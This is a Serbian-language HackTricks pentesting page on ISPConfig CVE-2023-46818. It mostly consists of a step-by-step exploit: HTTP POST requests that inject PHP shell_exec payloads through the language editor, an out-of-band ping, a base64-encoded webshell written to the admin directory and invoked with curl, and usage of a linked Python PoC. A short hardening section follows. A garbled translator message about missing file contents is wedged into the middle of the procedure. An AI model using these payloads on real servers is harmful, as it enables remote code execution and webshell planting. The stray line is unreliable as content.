mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
92 lines
4.2 KiB
Markdown
92 lines
4.2 KiB
Markdown
# ISPConfig
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Pregled
|
||
|
||
ISPConfig je open-source kontrolni panel za hosting. Starije 3.2.x verzije su imale opciju urednika jezičkih fajlova koja, kada je omogućena za super administratora, dozvoljavala arbitrary PHP code injection putem malformiranog zapisa prevoda. Ovo može dovesti do RCE u kontekstu web servera i, u zavisnosti od načina izvršavanja PHP-a, privilege escalation.
|
||
|
||
Ključne podrazumevane putanje:
|
||
- Web root se često nalazi na `/var/www/ispconfig` kada se servira sa `php -S` ili preko Apache/nginx.
|
||
- Admin UI dostupan na HTTP(S) vhost-u (ponekad vezan samo za localhost; koristite SSH port-forward ako je potrebno).
|
||
|
||
Savet: Ako je panel vezan lokalno (npr. `127.0.0.1:8080`), prosledite ga:
|
||
```bash
|
||
ssh -L 9001:127.0.0.1:8080 user@target
|
||
# then browse http://127.0.0.1:9001
|
||
```
|
||
## Language editor PHP code injection (CVE-2023-46818)
|
||
|
||
- Pogođeno: ISPConfig do 3.2.11 (ispravljeno u 3.2.11p1)
|
||
- Preduslovi:
|
||
- Prijavite se kao ugrađeni superadmin nalog `admin` (prema dobavljaču, druge uloge nisu pogođene)
|
||
- Uređivač jezika mora biti omogućen: `admin_allow_langedit=yes` u `/usr/local/ispconfig/security/security_settings.ini`
|
||
- Uticaj: Autentifikovani admin može da ubaci proizvoljni PHP koji se upisuje u fajl jezika i izvršava od strane aplikacije, postižući RCE u web kontekstu
|
||
|
||
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
|
||
|
||
### Ručna procedura eksploatacije
|
||
|
||
1) Otvorite/kreirajte fajl jezika da biste dobili CSRF tokene
|
||
|
||
Pošaljite prvi POST da inicijalizujete formu i parsirate CSRF polja iz HTML odgovora (`csrf_id`, `csrf_key`). Primer putanje zahteva: `/admin/language_edit.php`.
|
||
|
||
2) Injektujte PHP preko records[] i sačuvajte
|
||
|
||
Pošaljite drugi POST koji sadrži CSRF polja i maliciozni zapis prevoda. Minimalne provere za izvršavanje komandi:
|
||
```http
|
||
POST /admin/language_edit.php HTTP/1.1
|
||
Host: 127.0.0.1:9001
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Cookie: ispconfig_auth=...
|
||
|
||
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
|
||
```
|
||
Out-of-band test (posmatrajte ICMP):
|
||
```http
|
||
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
|
||
```
|
||
3) Kreiranje fajlova i postavljanje webshell-a
|
||
|
||
Koristite `file_put_contents` da kreirate fajl u web-dostupnoj putanji (npr., `admin/`):
|
||
```http
|
||
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
|
||
```
|
||
Zatim napišite jednostavan webshell koristeći base64 da biste izbegli nepoželjne karaktere u POST telu:
|
||
```http
|
||
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
|
||
```
|
||
I don't have the contents of src/network-services-pentesting/pentesting-web/ispconfig.md. Please paste the file content you want translated (or attach it). I'll translate the English text to Serbian while keeping all markdown, code, links and tags unchanged as you requested.
|
||
```bash
|
||
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
|
||
```
|
||
Ako se PHP izvršava kao root (npr. preko `php -S 127.0.0.1:8080` pokrenutog od strane root), ovo daje trenutni root RCE. U suprotnom, dobijate izvršavanje koda kao korisnik web servera.
|
||
|
||
### Python PoC
|
||
|
||
Spreman za upotrebu exploit automatizuje rukovanje tokenima i isporuku payload-a:
|
||
- https://github.com/bipbopbup/CVE-2023-46818-python-exploit
|
||
|
||
Primer pokretanja:
|
||
```bash
|
||
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
|
||
```
|
||
### Pojačavanje bezbednosti
|
||
|
||
- Ažurirajte na 3.2.11p1 ili noviju verziju
|
||
- Onemogućite uređivač jezika osim ako nije neophodan:
|
||
```
|
||
admin_allow_langedit=no
|
||
```
|
||
- Izbegavajte pokretanje panela kao root; konfigurišite PHP-FPM ili web server da spuste privilegije
|
||
- Obezbedite snažnu autentifikaciju za ugrađeni `admin` nalog
|
||
|
||
## Izvori
|
||
|
||
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
|
||
- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
|
||
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
|
||
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|